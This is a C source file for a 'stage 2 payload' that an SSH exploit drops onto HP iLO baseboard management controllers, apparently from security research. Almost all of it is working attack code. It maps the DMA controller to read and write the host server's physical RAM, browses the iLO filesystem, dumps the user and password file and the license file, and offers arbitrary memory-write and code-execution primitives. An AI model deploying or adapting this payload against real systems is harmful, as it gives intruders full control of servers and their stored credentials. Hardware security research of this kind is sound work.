/**
 * Stage 2 payload for SSH exploit
 *
 * The documentation is available as "Please help" on iLO SSH interface, once
 * exploit_ssh.py has dropped this stage 2 on iLO.
 */
#include "hp_ilo.h"

/**
 * Define the entrypoint in a dedicated section that is placed at the beggining
 * of the generated shellcode.
 */
__asm__ (
"    .section .entry, \"ax\", %progbits\n"
"    .arm\n"
"    .globl _entrypoint\n"
"    .hidden _entrypoint\n"
"    .type _entrypoint, %function\n"
"_entrypoint:\n"
"    b payload_start\n"
);

void *memcpy(void *dest, const void *src, size_t n)
{
    u8 *d = (u8 *)dest;
    const u8 *s = (const u8 *)src;
    size_t i;

    for (i = 0; i < n; i++) {
        d[i] = s[i];
    }
    return dest;
}

static bool strequals(const char *s1, const char *s2)
{
    if (!s1 || !s2)
        return s1 == s2;
    while (*s1 && *s1 == *s2) {
        s1 += 1;
        s2 += 1;
    }
    return *s1 == *s2;
}

/**
 * Hexdump data, with ASCII characters
 */
static void hexdump(u32 cli_id, const void *pMem, size_t size, u32 baseaddr)
{
    u32 iline, i;
    bool last_was_fullzero = false;
    for (iline = 0; iline < size; iline += 16) {
        bool is_fullzero = true;
        const u8 *pMemLine = ((const u8 *)pMem) + iline;
        for (i = 0; i < 16 && iline + i < size; i++) {
            if (pMemLine[i]) {
                is_fullzero = false;
                break;
            }
        }
        if (is_fullzero) {
            if (!last_was_fullzero) {
                CLI_printf(cli_id, "  %06x:", baseaddr + iline);
                CLI_printf(cli_id, " *\r\n");
                last_was_fullzero = true;
            }
            continue;
        }
        last_was_fullzero = false;
        CLI_printf(cli_id, "  %06x:", baseaddr + iline);
        for (i = 0; i < 16; i++) {
            if (!(i % 2))
                CLI_printf(cli_id, " ");
            if (iline + i < size)
                CLI_printf(cli_id, "%02x", pMemLine[i]);
            else
                CLI_printf(cli_id, "  ");
        }
        CLI_printf(cli_id, "  ");
        for (i = 0; i < 16 && iline + i < size; i++) {
            u8 c = pMemLine[i];
            CLI_printf(cli_id, "%c", (32 <= c && c < 127) ? c : '.');
        }
        CLI_printf(cli_id, "\r\n");
    }
}

/**
 * Raw hexdump, parsable by the client
 */
static void raw_hexdump(u32 cli_id, const void *pmem, size_t size, u64 baseaddr)
{
    u32 iline, i;
    for (iline = 0; iline < size; iline += 32) {
        CLI_printf(cli_id, "%Lx:", baseaddr + iline);
        for (i = 0; i < 32 && i + iline < size; i++) {
            CLI_printf(cli_id, "%02x", ((const u8 *)pmem)[iline + i]);
        }
        CLI_printf(cli_id, "\r\n");
    }
}

static bool parse_hex64(const char *string, u64 *pval)
{
    u64 val = 0;
    char c;

    while ((c = *(string++))) {
        /* Ignore x from 0x... prefix */
        if (c == 'x' || c == 'X')
            continue;
        else if ('0' <= c && c <= '9')
            val = (val << 4) + (c - '0');
        else if ('A' <= c && c <= 'F')
            val = (val << 4) + (c - ('A' - 10));
        else if ('a' <= c && c <= 'f')
            val = (val << 4) + (c - ('a' - 10));
        else
            return false;
    }
    *pval = val;
    return true;
}

static bool decode_hexstring(const char *string, u8 *buffer, size_t bufsize)
{
    bool is_first = true;
    u8 val = 0;
    char c;

    while ((c = *(string++))) {
        /* Ignore x from 0x... prefix */
        if (c == 'x' || c == 'X')
            continue;
        else if ('0' <= c && c <= '9')
            val = (val << 4) + (c - '0');
        else if ('A' <= c && c <= 'F')
            val = (val << 4) + (c - ('A' - 10));
        else if ('a' <= c && c <= 'f')
            val = (val << 4) + (c - ('a' - 10));
        else
            return false;

        if (is_first) {
            is_first = false;
        } else if (bufsize >= 1) {
            *(buffer++) = val;
            bufsize -= 1;
            val = 0;
            is_first = true;
        } else {
            return false;
        }
    }
    if (bufsize)
        return false;
    return true;
}

static bool decode_ascii16_int(uint32_t cli_id, const char *value, uint32_t *output) {
    uint32_t result = 0, i;

    for (i = 0; value[i]; i++) {
        if (i > 8) {
            CLI_printf(cli_id, "ASCII-16 value too long\r\n");
            return false;
        }
        if (value[i] < 'A' || value[i] > 'P')
            return false;
        result = (result * 16) + (value[i] - 'A');
    }
    *output = result;
    return true;
}

/* Show the content of a directory */
static void show_dir(u32 cli_id, const char *path)
{
    DIR *d = opendir(path);
    unsigned int i;
    struct dirent ent, *pent = 0;

    if (!d) {
        CLI_printf(cli_id, "opendir(%s) failed: %d\r\n", path, errno);
        return;
    }
    while (readdir_r(d, &ent, &pent) == 0 && pent) {
        /* // Analyze the content of a "struct dirent" entry
        for (i = 0; i < 20 && i < sizeof(ent); i++)
            CLI_printf(cli_id, " %02x", ((u8 *)pent)[i]);
        CLI_printf(cli_id, " = 0x%08x %d (%#x ?) [%d] %s\r\n",
                   pent->d_ino, pent->d_type, pent->d_reclen, pent->d_namelen, pent->d_name);
        */
        CLI_printf(cli_id, "[ino=0x%08x type=%d] %.*s\r\n",
                   pent->d_ino, pent->d_type, pent->d_namelen, pent->d_name);
    }
    closedir(d);
}

static void show_dir_with_print(u32 cli_id, const char *path)
{
    CLI_printf(cli_id, "%s :\r\n", path);
    show_dir(cli_id, path);
}

static void show_file_hexdump(u32 cli_id, const char *path)
{
    ssize_t bytes_read;
    u8 buffer[16];
    ssize_t i;
    int fd;

    fd = open(path, 0, 0);
    if (fd < 0) {
        CLI_printf(cli_id, "open(%s) failed: %d\r\n", path, errno);
        return;
    }

    CLI_printf(cli_id, "open(%s) = %d\r\n", path, fd);
    do {
        bytes_read = read(fd, buffer, sizeof(buffer));
        for (i = 0; i < bytes_read; i++) {
            CLI_printf(cli_id, " %02x", buffer[i]);
        }
        CLI_printf(cli_id, "  ");
        for (i = 0; i < bytes_read; i++) {
            u8 c = buffer[i];
            CLI_printf(cli_id, "%c", (32 <= c && c < 127) ? c : '.');
        }
        CLI_printf(cli_id, "\r\n");
    } while (bytes_read == sizeof(buffer));
    close(fd);
}

/**
 * Return the Log2 of an integer
 */
static u32 custom_log2(u32 n)
{
    u32 res = 0;
    while (n >> 1) {
        res += 1;
        n >>= 1;
    }
    return res;
}

/**
 * Enumerate all memory regions and dump their attributes
 */
static void dump_memory_regions(u32 cli_id)
{
    u32 dwMemRegion;
    for (dwMemRegion = 1; dwMemRegion < 0x10000; dwMemRegion++) {
        int res;
        u32 dwAddrStart = 0, dwAddrEnd = 0, dwAttr = 0;
        res = INTEGRITY_GetMemoryRegionAddress(dwMemRegion, &dwAddrStart, &dwAddrEnd);
        if (res != 0) {
            if (res == 5) {
                CLI_printf(cli_id, "0x%04x: errno %u: ObjectIsNotInUse\r\n", dwMemRegion, res);
            } else if (res == 12) {
                CLI_printf(cli_id, "0x%04x: errno %u: IncorrectObjectType\r\n", dwMemRegion, res);
            } else if (res == 95) {
                CLI_printf(cli_id, "0x%04x: errno %u: GotAConnection\r\n", dwMemRegion, res);
            } else if (res == 2) {
                /* hide IllegalObjectNumber */
            } else {
                CLI_printf(cli_id, "0x%04x: errno %u\r\n", dwMemRegion, res);
            }
            continue;
        }
        res = INTEGRITY_GetMemoryRegionAttributes(dwMemRegion, &dwAttr);
        if (res != 0)
            dwAttr = 0xbadbad00;
        CLI_printf(cli_id, "0x%04x: 0x%08x ... 0x%08x (%10d bytes), 0x%05x\r\n",
            dwMemRegion,
            dwAddrStart, dwAddrEnd,
            dwAddrEnd - dwAddrStart + 1,
            dwAttr);
    }
}

/**
 * Describe a memory region resourse by its name
 */
static void describe_res_mr(u32 cli_id, const char *name)
{
    int res;
    u32 pmr, startaddr, endaddr, attr;

    res = libc_RequestResource(&pmr, name, REQUEST_RES_SYSPASS);
    if (res != 0) {
        if (res == 0x8a) {
            /* ResourceNotAvailable */
            return;
        }
        CLI_printf(cli_id, "Error: RequestResource(\"%s\") failed, %#x\r\n", name, res);
        return;
    }
    res = INTEGRITY_GetMemoryRegionAddress(pmr, &startaddr, &endaddr);
    if (res != 0) {
        CLI_printf(cli_id, "Error: GetMemoryRegionAddress(%#x:\"%s\") failed, %#x\r\n",
            pmr, name, res);
        INTEGRITY_CloseConnection(pmr);
        return;
    }
    res = INTEGRITY_GetMemoryRegionAttributes(pmr, &attr);
    if (res != 0) {
        CLI_printf(cli_id, "Error: GetMemoryRegionAttributes(%#x:\"%s\") failed, %#x\r\n",
            pmr, name, res);
        INTEGRITY_CloseConnection(pmr);
        return;
    }
    INTEGRITY_CloseConnection(pmr);

    CLI_printf(cli_id, "%#10x..%#10x %#x: %s (%u KB)\r\n",
        startaddr, endaddr, attr,
        name, (endaddr - startaddr + 1) / 1024);
}

/**
 * Dump a map of available physical memory regions
 *
 * Result on iLO4 v2.50:
 *     0x80000000..0x80000fff 0x507: MR80000 (4 KB)
 *     0x800e0000..0x800e0fff 0x507: MR800E0 (4 KB)
 *     0x800ef000..0x800effff 0x507: MR800EF (4 KB)
 *     0x800f0000..0x800f0fff 0x507: MR800F0 (4 KB)
 *     0x80108000..0x8010bfff 0x507: MR80108 (16 KB)
 *     0x801f0000..0x801f0fff 0x507: MR801F0 (4 KB)
 *     0x80200000..0x80200fff 0x507: MR80200 (4 KB)
 *     0x802f0000..0x802f0fff 0x507: MR802F0 (4 KB)
 *     0x80300000..0x80300fff 0x507: MR80300 (4 KB)
 *     0x803f0000..0x803f0fff 0x507: MR803F0 (4 KB)
 *     0x80400000..0x80400fff 0x507: MR80400 (4 KB)
 *     0x80401000..0x80401fff 0x507: MR80401 (4 KB)
 *     0x80402000..0x80402fff 0x507: MR80402 (4 KB)
 *     0x80403000..0x80403fff 0x507: MR80403 (4 KB)
 *     0x80404000..0x80404fff 0x507: MR80404 (4 KB)
 *     0x80405000..0x80405fff 0x507: MR80405 (4 KB)
 *     0x80406000..0x80406fff 0x507: MR80406 (4 KB)
 *     0x80407000..0x80407fff 0x507: MR80407 (4 KB)
 *     0x80408000..0x80408fff 0x507: MR80408 (4 KB)
 *     0x804f0000..0x804f0fff 0x507: MR804F0 (4 KB)
 *     0x80500000..0x80500fff 0x507: MR80500 (4 KB)
 *     0x805f0000..0x805f0fff 0x507: MR805F0 (4 KB)
 *     0x80600000..0x80600fff 0x507: MR80600 (4 KB)
 *     0x806f0000..0x806f0fff 0x507: MR806F0 (4 KB)
 *     0x80700000..0x80700fff 0x507: MR80700 (4 KB)
 *     0x80701000..0x80701fff 0x507: MR80701 (4 KB)
 *     0x80702000..0x80702fff 0x507: MR80702 (4 KB)
 *     0x80703000..0x80703fff 0x507: MR80703 (4 KB)
 *     0x807f0000..0x807f0fff 0x507: MR807F0 (4 KB)
 *     0x80fc0000..0x80fc0fff 0x507: MR80FC0 (4 KB)
 *     0x80fd0000..0x80fd0fff 0x507: MR80FD0 (4 KB)
 *     0x80fe0000..0x80fe0fff 0x507: MR80FE0 (4 KB)
 *     0x80fe1000..0x80fe1fff 0x507: MR80FE1 (4 KB)
 *     0x80fe2000..0x80fe2fff 0x507: MR80FE2 (4 KB)
 *     0x80ff0000..0x80ff0fff 0x507: MR80FF0 (4 KB)
 *     0x81000000..0x81ffffff 0x507: MR81000 (16384 KB)
 *     0x82000000..0x82ffffff 0x507: MR82000 (16384 KB)
 *     0x83000000..0x83ffffff 0x507: MR83000 (16384 KB)
 *     0xc0000000..0xc0000fff 0x507: MRC0000 (4 KB)
 *     0xc0001000..0xc0001fff 0x507: MRC0001 (4 KB)
 *     0xc0002000..0xc0002fff 0x507: MRC0002 (4 KB)
 *     0xc0003000..0xc0003fff 0x507: MRC0003 (4 KB)
 *     0xc0004000..0xc0004fff 0x507: MRC0004 (4 KB)
 *     0xc0005000..0xc0005fff 0x507: MRC0005 (4 KB)
 *     0xc0008000..0xc0008fff 0x507: MRC0008 (4 KB)
 *     0xc000c000..0xc000cfff 0x507: MRC000C (4 KB)
 *     0xc000e000..0xc000efff 0x507: MRC000E (4 KB)
 *     0xc0010000..0xc0010fff 0x507: MRC0010 (4 KB)
 *     0xc0014000..0xc0017fff 0x507: MRC0014 (16 KB)
 *     0xc0030000..0xc0030fff 0x507: MRC0030 (4 KB)
 *     0xc0031000..0xc0031fff 0x507: MRC0031 (4 KB)
 *     0xc0032000..0xc0032fff 0x507: MRC0032 (4 KB)
 *     0xce000000..0xce000fff 0x507: MRCE000 (4 KB)
 *     0xce001000..0xce001fff 0x507: MRCE001 (4 KB)
 *     0xce002000..0xce002fff 0x507: MRCE002 (4 KB)
 *     0xce003000..0xce003fff 0x507: MRCE003 (4 KB)
 *     0xce004000..0xce004fff 0x507: MRCE004 (4 KB)
 *     0xce005000..0xce005fff 0x507: MRCE005 (4 KB)
 *     0xce006000..0xce006fff 0x507: MRCE006 (4 KB)
 *     0xce007000..0xce007fff 0x507: MRCE007 (4 KB)
 *     0xd1000000..0xd1000fff 0x507: MRD1000 (4 KB)
 *     0x47800000..0x487fffff 0x507: MRVIDEORAM (16384 KB)
 *     0x60000000..0x60000fff 0x507: MRZERO (4 KB)
 *     0x607ba000..0x621b9fff 0x507: MRDOWNLOAD (26624 KB)
 *     0x66600000..0x666fffff 0x507: MRSHMW (1024 KB)
 *     0x66700000..0x6673ffff 0x507: MRDVCCRC (256 KB)
 *     0x66790000..0x6679ffff 0x507: MRDVCBUF (64 KB)
 *     0x667b0000..0x667b3fff 0x507: MRFYIRAM (16 KB)
 *     0x667c0000..0x667fffff 0x507: MREXROM (256 KB)
 *     0x66800000..0x66ffffff 0x507: MRALIGN1 (8192 KB)
 *     0x67000000..0x677fffff 0x507: MRBANK7 (8192 KB)
 *     0xd0800000..0xd08bffff 0x507: MRSRAM_ASM (768 KB)
 *     0xd08c2000..0xd08fffff 0x507: MRSRAM_CFG (248 KB)
 */
static void dump_map_physical_memory_regions(u32 cli_id)
{
    u32 mr_index;
    char mr_name[] = "MR80000";
    for (mr_index = 0 /* 0x80000 */; mr_index < 0x100000; mr_index++) {
        if (!(mr_index & 0xffff))
            CLI_printf(cli_id, "testing %#x...\r\n", mr_index);
        snprintf(mr_name, sizeof(mr_name), "MR%05X", mr_index);
        describe_res_mr(cli_id, mr_name);
        if (mr_index < 0x10000) {
            snprintf(mr_name, sizeof(mr_name), "MR%X", mr_index);
            describe_res_mr(cli_id, mr_name);
        }
    }
    CLI_printf(cli_id, "\r\n");
    describe_res_mr(cli_id, "MRVIDEORAM");
    describe_res_mr(cli_id, "MRZERO");
    describe_res_mr(cli_id, "MRDOWNLOAD");
    describe_res_mr(cli_id, "MRSHMW");
    describe_res_mr(cli_id, "MRDVCCRC");
    describe_res_mr(cli_id, "MRDVCBUF");
    describe_res_mr(cli_id, "MRFYIRAM");
    describe_res_mr(cli_id, "MREXROM");
    describe_res_mr(cli_id, "MRALIGN1");
    describe_res_mr(cli_id, "MRBANK7");
    describe_res_mr(cli_id, "MRSRAM_ASM");
    describe_res_mr(cli_id, "MRSRAM_CFG");

    /* MR not found */
    describe_res_mr(cli_id, "MRBULKRAM0");
}

/**
 * Find the Virtual Memory Region using the given address range
 */
static u32 find_VMR(u32 cli_id, u32 addrstart, u32 addrend)
{
    u32 vmr;

    for (vmr = 1; vmr < 0x10000; vmr++) {
        u32 start = 0, end = 0;
        int res;

        res = INTEGRITY_GetMemoryRegionAddress(vmr, &start, &end);
        if (res == 0 && start == addrstart) {
            if (end != addrend) {
                CLI_printf(cli_id, "Error: unexpected end address for %#x: %#x != %#x\r\n",
                    addrstart, end, addrend);
                continue;
            }
            return vmr;
        }
    }
    return 0;
}

/**
 * Map the SAWBASE controller: phys 0x80200000->virt 0x1f02000
 */
static bool map_sawbase_controller(u32 cli_id)
{
    u32 vmr, pmr = 0, attr = 0, unmap_res;
    int res;

    vmr = find_VMR(cli_id, 0x1f02000, 0x1f02fff);
    if (!vmr) {
        CLI_printf(cli_id, "Error: unable to find SAWBASE controller virtual memory region\r\n");
        return false;
    }
    res = libc_RequestResource(&pmr, "MR80200", REQUEST_RES_SYSPASS);
    if (res != 0) {
        CLI_printf(cli_id, "Error: unable to request resource MR80200 (error %#x)\r\n", res);
        return false;
    }
    res = INTEGRITY_GetMemoryRegionAttributes(pmr, &attr);
    if (res != 0) {
        CLI_printf(cli_id, "Error: GetMemoryRegionAttributes(%#x=MR80200) failed (error %#x)\r\n", pmr, res);
        return false;
    }
    INTEGRITY_UnMapMemoryRegion(vmr, &unmap_res);

    res = INTEGRITY_SetMemoryRegionAttributes(vmr, attr);
    if (res != 0) {
        CLI_printf(cli_id, "Error: SetMemoryRegionAttributes(sawbase_vmr=%#x, attr=%#x) failed (error %#x)\r\n",
            vmr, attr, res);
        return false;
    }
    res = INTEGRITY_MapMemoryRegion(vmr, pmr);
    INTEGRITY_CloseConnection(pmr);
    if (res != 0) {
        CLI_printf(cli_id, "Error: MapMemoryRegion(sawbase_vmr=%#x, MR80200=%#x) failed (error %#x)\r\n",
            vmr, pmr, res);
        return false;
    }
    return true;
}

/**
 * Request the physical memory region for the specified SAWBASE range
 */
static bool request_sawbase_mr(u32 cli_id, u32 saw_index, u32 *pphysaddr, u32 *ppmr)
{
    int res;
    u32 pmr = 0, startaddr = 0, endaddr = 0;
    char resname[] = "MR80000";

    /* Only 3 SAW ranges are supported */
    if (saw_index < 1 || saw_index > 3) {
        CLI_printf(cli_id, "Error: internal error, invalid saw index %u\r\n", saw_index);
        return false;
    }
    resname[3] = '0' + saw_index;
    res = libc_RequestResource(&pmr, resname, REQUEST_RES_SYSPASS);
    if (res != 0) {
        CLI_printf(cli_id, "Error: RequestResource(\"%s\") failed (error %#x)\r\n",
            resname, res);
        return false;
    }
    res = INTEGRITY_GetMemoryRegionAddress(pmr, &startaddr, &endaddr);
    if (res != 0) {
        CLI_printf(cli_id, "Error: GetMemoryRegionAddress(%#x:\"%s\") failed (error %#x)\r\n",
            pmr, resname, res);
        INTEGRITY_CloseConnection(pmr);
        return false;
    }
    if (startaddr != 0x80000000 + (saw_index << 24) ||
        endaddr != 0x80ffffff + (saw_index << 24)) {
        CLI_printf(cli_id, "Error: GetMemoryRegionAddress(%#x:\"%s\") returned unexpected %#x-%#x (error %#x)\r\n",
            pmr, resname, startaddr, endaddr, res);
        INTEGRITY_CloseConnection(pmr);
        return false;
    }
    *pphysaddr = startaddr;
    *ppmr = pmr;
    return true;
}

static bool read_with_DMA(u32 cli_id, u32 saw_pmr, u32 saw_pa, u64 host_pa, void *buffer, size_t buflen)
{
    int res;
    u32 saw_index = (saw_pa >> 24) - 0x80;
    u32 saw_addrregval = ((u32)(host_pa >> 24) & 0x00ffffff) | 0x2000000;

    switch (saw_index) {
        case 1:
            MEM_0x1F02000->sawbase_SAW1 = saw_addrregval;
            break;
        case 2:
            MEM_0x1F02000->sawbase_SAW2 = saw_addrregval;
            break;
        case 3:
            MEM_0x1F02000->sawbase_SAW3 = saw_addrregval;
            break;
        default:
            CLI_printf(cli_id, "Error: internal error, invalid saw index %u from DMA SAW pa %#x\r\n",
                saw_index, saw_pa);
            return false;
    }
    /* Try using a barrier to make sure the compiler does not reorder things (this may be useless) */
    asm volatile("" ::: "memory");

    /* I do not known what 2049 is for */
    res = INTEGRITY_CopyFromMemoryRegion(saw_pmr, saw_pa + (u32)(host_pa & 0x00ffffff), buffer, buflen, 2049);
    if (res != 0) {
        CLI_printf(cli_id, "Error: CopyFromMemoryRegion(%#x, %#x+%#x, buffer[%#x]) failed with %#x\r\n",
            saw_pmr, saw_pa, (u32)(host_pa & 0x00ffffff), buflen, res);
        return false;
    }
    return true;
}

static bool write_with_DMA(u32 cli_id, u32 saw_pmr, u32 saw_pa, u64 host_pa, void *buffer, size_t buflen)
{
    int res;
    u32 saw_index = (saw_pa >> 24) - 0x80;
    u32 saw_addrregval = ((u32)(host_pa >> 24) & 0x00ffffff) | 0x2000000;

    switch (saw_index) {
        case 1:
            MEM_0x1F02000->sawbase_SAW1 = saw_addrregval;
            break;
        case 2:
            MEM_0x1F02000->sawbase_SAW2 = saw_addrregval;
            break;
        case 3:
            MEM_0x1F02000->sawbase_SAW3 = saw_addrregval;
            break;
        default:
            CLI_printf(cli_id, "Error: internal error, invalid saw index %u from DMA SAW pa %#x\r\n",
                saw_index, saw_pa);
            return false;
    }
    /* Try using a barrier to make sure the compiler does not reorder things (this may be useless) */
    asm volatile("" ::: "memory");

    /* I do not known what 2832 is for */
    res = INTEGRITY_CopyToMemoryRegion(saw_pmr, saw_pa + (u32)(host_pa & 0x00ffffff), buffer, buflen, 2832);
    if (res != 0) {
        CLI_printf(cli_id, "Error: CopyToMemoryRegion(%#x, %#x+%#x, buffer[%#x]) failed with %#x\r\n",
            saw_pmr, saw_pa, (u32)(host_pa & 0x00ffffff), buflen, res);
        return false;
    }
    return true;
}

static void test_dma(u32 cli_id)
{
    int res, i;

    if (!map_sawbase_controller(cli_id))
        return;

    CLI_printf(cli_id, "SAW1=%#x, SAW2=%#x, SAW3=%#x\r\n",
        MEM_0x1F02000->sawbase_SAW1,
        MEM_0x1F02000->sawbase_SAW2,
        MEM_0x1F02000->sawbase_SAW3);

    u32 SAW_pmr[3] = {0, 0, 0}, SAW_pa[3] = {0, 0, 0};
    for (i = 0; i < 3; i++) {
        if (!request_sawbase_mr(cli_id, i + 1, &SAW_pa[i], &SAW_pmr[i]))
            return;
    }

    /* Try reading the RAM from address 0x1000 */
    u32 off;
    for (off = 1; off < 16; off++) {
        u8 buffer[4096];
        u32 dwHostPhysAddr = 0x1000 * off;

        if (!read_with_DMA(cli_id, SAW_pmr[2], SAW_pa[2], dwHostPhysAddr, buffer, sizeof(buffer)))
            break;
        /*
        CLI_printf(cli_id, "Sucess! Hexdump buffer, phyaddr %#x...%#x:\r\n",
            dwHostPhysAddr, dwHostPhysAddr + sizeof(buffer));
        */
        hexdump(cli_id, buffer, sizeof(buffer), dwHostPhysAddr);
    }
    for (i = 0; i < 3; i++) {
        res = INTEGRITY_CloseConnection(SAW_pmr[i]);
        if (res != 0)
            CLI_printf(cli_id, "Error: CloseConnection(%#x) failed with %#x\r\n", SAW_pmr[i], res);
    }
}

static u32 g_dma_saw_pmr = 0, g_dma_saw_pa = 0;

/**
 * Read from a DMA region with "dmard SAWIndex physaddr size"
 */
static void handle_dmaread(u32 cli_id, struct CLI_SESSION *pCli)
{
    uint32_t saw_index;
    u64 physaddr = 0, physsize = 0;
    u8 buffer[4096];

    if (pCli->argv[2][0] < '1' || pCli->argv[2][0] > '3' || pCli->argv[2][1] != '\0') {
        CLI_printf(cli_id, "Error: invalid SAW index (only 1, 2 and 3 are supported)\r\n");
        return;
    }
    saw_index = pCli->argv[2][0] - '0';
    if (!parse_hex64(pCli->argv[3], &physaddr)) {
        CLI_printf(cli_id, "Error: invalid physical address (64 bits in hexadecimal)\r\n");
        return;
    }
    if (!parse_hex64(pCli->argv[4], &physsize)) {
        CLI_printf(cli_id, "Error: invalid size (64 bits in hexadecimal)\r\n");
        return;
    }

    if (!g_dma_saw_pmr || !g_dma_saw_pa) {
        /* Configure SAW mapping */
        if (!request_sawbase_mr(cli_id, saw_index, &g_dma_saw_pa, &g_dma_saw_pmr))
            return;
        if (!g_dma_saw_pmr || !g_dma_saw_pa) {
            CLI_printf(cli_id, "Error: zeroed PMR or PA for SAW interface\r\n");
            return;
        }
    }

    while (physsize) {
        u32 requested_size = sizeof(buffer);
        if (requested_size > physsize) {
            requested_size = (u32)physsize;
        }
        if (!read_with_DMA(cli_id, g_dma_saw_pmr, g_dma_saw_pa, physaddr, buffer, requested_size))
            break;
        raw_hexdump(cli_id, buffer, requested_size, physaddr);
        physaddr += requested_size;
        physsize -= requested_size;
    }
}

/**
 * Write to a DMA region with "dmawr SAWIndex physaddr size hex(buffer)"
 */
static void handle_dmawrite(u32 cli_id, struct CLI_SESSION *pCli)
{
    uint32_t saw_index, saw_addrregval;
    u64 physaddr = 0, physsize = 0;
    u8 buffer[4096];
    int res;

    if (pCli->argv[2][0] < '1' || pCli->argv[2][0] > '3' || pCli->argv[2][1] != '\0') {
        CLI_printf(cli_id, "Error: invalid SAW index (only 1, 2 and 3 are supported)\r\n");
        return;
    }
    saw_index = pCli->argv[2][0] - '0';
    if (!parse_hex64(pCli->argv[3], &physaddr)) {
        CLI_printf(cli_id, "Error: invalid physical address (64 bits in hexadecimal)\r\n");
        return;
    }
    if (!parse_hex64(pCli->argv[4], &physsize)) {
        CLI_printf(cli_id, "Error: invalid size (64 bits in hexadecimal)\r\n");
        return;
    }
    if (physsize > (u64)sizeof(buffer)) {
        CLI_printf(cli_id, "Error: too many data to send (max %lu)\r\n", (unsigned long)sizeof(buffer));
        return;
    }
    if (!decode_hexstring(pCli->argv[5], buffer, (size_t)physsize)) {
        CLI_printf(cli_id, "Error: hexbuf parsing failed\r\n");
        return;
    }

    if (!g_dma_saw_pmr || !g_dma_saw_pa) {
        /* Configure SAW mapping */
        if (!request_sawbase_mr(cli_id, saw_index, &g_dma_saw_pa, &g_dma_saw_pmr))
            return;
        if (!g_dma_saw_pmr || !g_dma_saw_pa) {
            CLI_printf(cli_id, "Error: zeroed PMR or PA for SAW interface\r\n");
            return;
        }
    }

    if (!write_with_DMA(cli_id, g_dma_saw_pmr, g_dma_saw_pa, physaddr, buffer, physsize))
        return;
    CLI_printf(cli_id, "OK\r\n");
}

static __attribute__((used))
void payload_start(u32 cli_id)
{
    struct CLI_SESSION *pCli;
    const char *subcommand;
    uint32_t stage1_first_arg = 0;
    unsigned int i;

    pCli = ConAppCLI_get_CLI_session_ptr(cli_id);
    subcommand = pCli->argv[1];

    if (strequals(subcommand, "dumpmr")) { /* Dump the available "Memory Regions" */
        dump_memory_regions(cli_id);
        return;
    } else if (strequals(subcommand, "mappphysmr")) { /* Dump physical "Memory Regions" of iLO */
        dump_map_physical_memory_regions(cli_id);
        return;
    } else if (strequals(subcommand, "testdma")) { /* Test the DMA controller */
        test_dma(cli_id);
        return;
    } else if (strequals(subcommand, "dmard")) { /* Read from main RAM using DMA */
        handle_dmaread(cli_id, pCli);
        return;
    } else if (strequals(subcommand, "dmawr")) { /* Write to main RAM using DMA */
        handle_dmawrite(cli_id, pCli);
        return;
    } else if (strequals(subcommand, "ls")) { /* List the content of a directory */
        if (!pCli->argv[2][0]) {
            /* No argument => show roots */
            show_dir_with_print(cli_id, "/");
            show_dir_with_print(cli_id, "i:/vol0"); /* i:/vol0 is different from /i:/vol0 ! */
        } else {
            show_dir_with_print(cli_id, pCli->argv[2]);
        }
        return;
    } else if (strequals(subcommand, "hexdump")) { /* Show the content of a file */
        show_file_hexdump(cli_id, pCli->argv[2]);
        return;
    } else if (strequals(subcommand, "showusers")) {
        show_file_hexdump(cli_id, "i:/vol0/cfg/cfg_users.bin");
        return;
    } else if (strequals(subcommand, "showlicense")) {
        show_file_hexdump(cli_id, "i:/vol0/cfg/license.bin");
        return;
    } else if (strequals(subcommand, "help")) {
        CLI_printf(cli_id, "Usage: %s COMMAND [PARAMETERS]\r\n", pCli->argv[0]);
        CLI_printf(cli_id, "Commands:\r\n");
        CLI_printf(cli_id, "  dumpmr: Dump the available \"Memory Regions\"\r\n");
        CLI_printf(cli_id, "  mappphysmr: Dump physical \"Memory Regions\" of iLO\r\n");
        CLI_printf(cli_id, "  testdma: Test the DMA controller\r\n");
        CLI_printf(cli_id, "  dmard SAW_INDEX PHYS_ADDR SIZE: read some bytes from RAM using DMA\r\n");
        CLI_printf(cli_id, "    example: dmard 1 1000 10: read 0x10=16 bytes from 0x1000 using SAW controller 1\r\n");
        CLI_printf(cli_id, "  dmawr SAW_INDEX PHYS_ADDR SIZE DATA: write some bytes to RAM using DMA\r\n");
        CLI_printf(cli_id, "  ls [PATH]: list the content of a directory on iLO filesystem\r\n");
        CLI_printf(cli_id, "  hexdump PATH: show the content of a file on iLO filesystem\r\n");
        CLI_printf(cli_id, "  showusers: show the content of the file containing user configuration and passwords\r\n");
        CLI_printf(cli_id, "  showlicense: show the content of the file containing the license keys\r\n");
        return;
    }

    /* stage1 commands */
    if (subcommand[0] == 'a' && decode_ascii16_int(cli_id, subcommand + 1, &stage1_first_arg)) {
        CLI_printf(cli_id, "alloc %#x\r\n", (uint32_t)malloc(stage1_first_arg));
        return;
    }
    if (subcommand[0] == 'f' && decode_ascii16_int(cli_id, subcommand + 1, &stage1_first_arg)) {
        CLI_printf(cli_id, "free %#x\r\n", stage1_first_arg);
        free((void *)stage1_first_arg);
        return;
    }
    if (subcommand[0] == 'w' && decode_ascii16_int(cli_id, subcommand + 1, &stage1_first_arg)) {
        uint8_t cur_byte;
        char cur_char;

        for (i = 0; pCli->argv[2][i] && pCli->argv[2][i + 1]; i += 2) {
            cur_char = pCli->argv[2][i];
            if (cur_char < 'A' || cur_char > 'P')
                return;
            cur_byte = (cur_char - 'A') * 16;
            cur_char = pCli->argv[2][i + 1];
            if (cur_char < 'A' || cur_char > 'P')
                return;
            cur_byte += (cur_char - 'A');
            CLI_printf(cli_id, "%#x <- %#x\r\n", stage1_first_arg, cur_byte);
            *(uint8_t *)stage1_first_arg = cur_byte;
            stage1_first_arg += 1;
        }
        return;
    }
    if (subcommand[0] == 'x' && decode_ascii16_int(cli_id, subcommand + 1, &stage1_first_arg)) {
        void (*executed_addr)(uint32_t, struct CLI_SESSION *) = (void *)stage1_first_arg;
        executed_addr(cli_id, pCli);
        return;
    }
    if (subcommand[0] == '?' && decode_ascii16_int(cli_id, subcommand + 1, &stage1_first_arg)) {
        CLI_printf(cli_id, "arg[1]=%.256s, r8=%#x\r\n", subcommand, stage1_first_arg);
        return;
    }

    CLI_printf(cli_id, "Hi, your command has not been recognized (CLI %#x, argc=%d):\r\n", (uint32_t)pCli, pCli->argc);
    for (i = 0; i < pCli->argc; i++) {
        CLI_printf(cli_id, "  argv[%u] = %.256s\r\n", i, pCli->argv[i]);
    }
    CLI_printf(cli_id, "Use \"%s help\" in order to get usage information.\r\n", pCli->argv[0]);
}
